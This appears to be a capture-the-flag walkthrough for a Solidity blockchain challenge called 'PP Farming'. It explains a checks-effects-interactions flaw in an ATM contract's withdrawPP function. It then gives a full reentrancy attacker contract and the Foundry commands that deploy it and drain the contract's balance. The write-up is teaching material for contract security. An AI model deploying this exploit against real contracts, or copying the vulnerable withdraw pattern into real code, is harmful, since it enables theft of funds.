PP Farming

Platform: CUSTOM | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: reentrancy_attack, checks_effects_interactions_violation, fallback_reentry, contract_balance_drain

Summary

Walkthrough of the CUSTOM Blockchain PP Farming. Task: a Solidity ATM tracks donated PP as withdrawable ETH and is pre-funded with 10 ether. Solution: exploit withdrawPP reentrancy because it sends ETH before zeroing the caller score, draining the c

Description

I found a new way to PP farm, surely nothing could go wrong!

English summary: the artifact contained a small Solidity contract, PerformancePointATM, deployed with 10 ether. The goal was to make isSolved() return true, which required draining the contract balance to zero.

Analysis

The important functions were short:

 solidity read-only • copy allowed Copy
function withdrawPP() public {
    uint256 score = scores[msg.sender];
    require(score > 0, "Nothing to withdraw");
    (bool result, ) = msg.sender.call{value: score}("");
    require(result, "Transfer failed");
    scores[msg.sender] = 0;
}

function isSolved() view public returns (bool) {
    return address(this).balance == 0;
}

donatePP(address _to) credits scores[_to] with msg.value. The deploy script created the ATM with 10 ether, so the contract had a large balance before any player action.

The bug is a classic checks-effects-interactions violation. withdrawPP() performs an external call to msg.sender before setting scores[msg.sender] = 0. If msg.sender is a contract, its receive() function can call withdrawPP() again while the same nonzero score is still recorded. Repeating this withdraws the same score multiple times until the ATM is empty.

Solution

1. Deploy an attacker contract pointing at the challenge PerformancePointATM.
2. Call attack() with a nonzero ETH value, e.g. 1 ether.
3. Inside attack(), donate that value to the attacker contract itself with donatePP(address(this)).
4. Call withdrawPP() once.
5. In receive(), re-enter withdrawPP() while the ATM still has at least one withdrawal chunk left.
6. Verify that isSolved() returns true and the ATM balance is 0 wei.

Full exploit contract:

 solidity read-only • copy allowed Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IPerformancePointATM {
    function donatePP(address _to) external payable;
    function withdrawPP() external;
    function isSolved() external view returns (bool);
}

contract AttackPPFarming {
    IPerformancePointATM public immutable atm;
    uint256 public chunk;

    constructor(address _atm) {
        atm = IPerformancePointATM(_atm);
    }

    function attack() external payable {
        require(msg.value > 0, "need initial PP donation");
        chunk = msg.value;
        atm.donatePP{value: chunk}(address(this));
        atm.withdrawPP();
    }

    receive() external payable {
        if (address(atm).balance >= chunk) {
            atm.withdrawPP();
        }
    }
}

Command pattern used with Foundry. The private key was provided by the live instance and is intentionally not included here.

 bash read-only • copy allowed Copy
forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  Attack.sol:AttackPPFarming --constructor-args "$ATM_ADDRESS"

cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  --value 1000000000000000000 "$ATTACK_ADDR" "attack()"

cast call --rpc-url "$RPC_URL" "$ATM_ADDRESS" "isSolved()(bool)"
cast balance --rpc-url "$RPC_URL" "$ATM_ADDRESS"

On the live instance, the attack transaction succeeded, isSolved() returned true, and the ATM balance became 0 wei. The platform "Get flag" button then accepted the solved instance.

Key Takeaways / Lessons

• Mastering reentrancy_attack, checks_effects_interactions_violation, fallback_reentry, contract_balance_drain was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-06-27 • CUSTOM • PP Farming • Difficulty: Medium